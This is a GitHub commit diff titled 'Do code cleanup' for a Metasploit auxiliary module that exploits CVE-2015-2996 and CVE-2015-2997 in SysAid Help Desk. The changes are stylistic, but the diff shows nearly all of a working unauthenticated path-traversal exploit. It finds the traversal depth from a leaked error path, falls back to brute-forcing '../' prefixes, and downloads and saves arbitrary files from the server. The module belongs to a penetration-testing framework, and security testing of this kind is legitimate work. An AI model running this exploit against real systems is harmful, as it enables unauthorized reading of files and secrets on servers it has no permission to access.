Skip to content

Commit 9ac1688

Browse files
committed
Do code cleanup
1 parent 11aca8b commit 9ac1688

File tree

1 file changed

+29
-37
lines changed

1 file changed

+29
-37
lines changed

modules/auxiliary/admin/http/sysaid_file_download.rb

Lines changed: 29 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary
1212

1313
def initialize(info={})
1414
super(update_info(info,
15-
'Name' => "SysAid Help Desk Arbitrary File Download",
15+
'Name' => 'SysAid Help Desk Arbitrary File Download',
1616
'Description' => %q{
1717
This module exploits two vulnerabilities in SysAid Help Desk that allows
1818
an unauthenticated user to download arbitrary files from the system. First an
@@ -30,10 +30,10 @@ def initialize(info={})
3030
'License' => MSF_LICENSE,
3131
'References' =>
3232
[
33-
[ 'CVE', '2015-2996' ],
34-
[ 'CVE', '2015-2997' ],
35-
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
36-
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
33+
['CVE', '2015-2996'],
34+
['CVE', '2015-2997'],
35+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'],
36+
['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8']
3737
],
3838
'DisclosureDate' => 'Jun 3 2015'))
3939

@@ -45,7 +45,6 @@ def initialize(info={})
4545
], self.class)
4646
end
4747

48-
4948
def get_traversal_path
5049
print_status("#{peer} - Trying to find out the traversal path...")
5150
large_traversal = '../' * rand(15...30)
@@ -63,21 +62,18 @@ def get_traversal_path
6362
}
6463
})
6564

66-
if res && res.code == 200
67-
if res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
68-
error_path = $1
69-
# Error_path is something like:
70-
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
71-
# This calculates how much traversal we need to do to get to the root.
72-
position = error_path.index(large_traversal)
73-
if position != nil
74-
return "../" * (error_path[0,position].count('/') - 2)
75-
end
65+
if res && res.code == 200 && res.body.to_s =~ /\<H2\>(.*)\<\/H2\>/
66+
error_path = $1
67+
# Error_path is something like:
68+
# /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip
69+
# This calculates how much traversal we need to do to get to the root.
70+
position = error_path.index(large_traversal)
71+
unless position.nil?
72+
return '../' * (error_path[0, position].count('/') - 2)
7673
end
7774
end
7875
end
7976

80-
8177
def download_file (download_path)
8278
begin
8379
return send_request_cgi({
@@ -93,40 +89,38 @@ def download_file (download_path)
9389
end
9490
end
9591

96-
9792
def run
9893
# No point to continue if filepath is not specified
9994
if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?
100-
print_error("Please supply the path of the file you want to download.")
101-
return
95+
fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.')
96+
end
97+
98+
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
99+
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
100+
file_path = $3
102101
else
103-
print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
104-
if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/
105-
filepath = $3
106-
else
107-
filepath = datastore['FILEPATH']
108-
end
102+
file_path = datastore['FILEPATH']
109103
end
110104

111105
traversal_path = get_traversal_path
112-
if traversal_path == nil
106+
if traversal_path.nil?
113107
print_error("#{peer} - Could not get traversal path, using bruteforce to download the file")
114108
count = 1
115109
while count < 15
116-
res = download_file(("../" * count) + filepath)
117-
if res && res.code == 200
118-
if res.body.to_s.bytesize != 0
119-
break
120-
end
110+
res = download_file(('../' * count) + file_path)
111+
if res && res.code == 200 && res.body.to_s.bytesize != 0
112+
break
121113
end
122114
count += 1
123115
end
124116
else
125-
res = download_file(traversal_path[0,traversal_path.length - 1] + filepath)
117+
res = download_file(traversal_path[0,traversal_path.length - 1] + file_path)
126118
end
127119

128120
if res && res.code == 200
129-
if res.body.to_s.bytesize != 0
121+
if res.body.to_s.bytesize == 0
122+
fail_with(Failure::NoAccess, "#{peer} - 0 bytes returned, file does not exist or it is empty.")
123+
else
130124
vprint_line(res.body.to_s)
131125
fname = File.basename(datastore['FILEPATH'])
132126

@@ -138,11 +132,9 @@ def run
138132
fname
139133
)
140134
print_good("File saved in: #{path}")
141-
else
142-
print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
143135
end
144136
else
145-
print_error("#{peer} - Failed to download file.")
137+
fail_with(Failure::Unknown, "#{peer} - Failed to download file.")
146138
end
147139
end
148140
end

0 commit comments

Comments
 (0)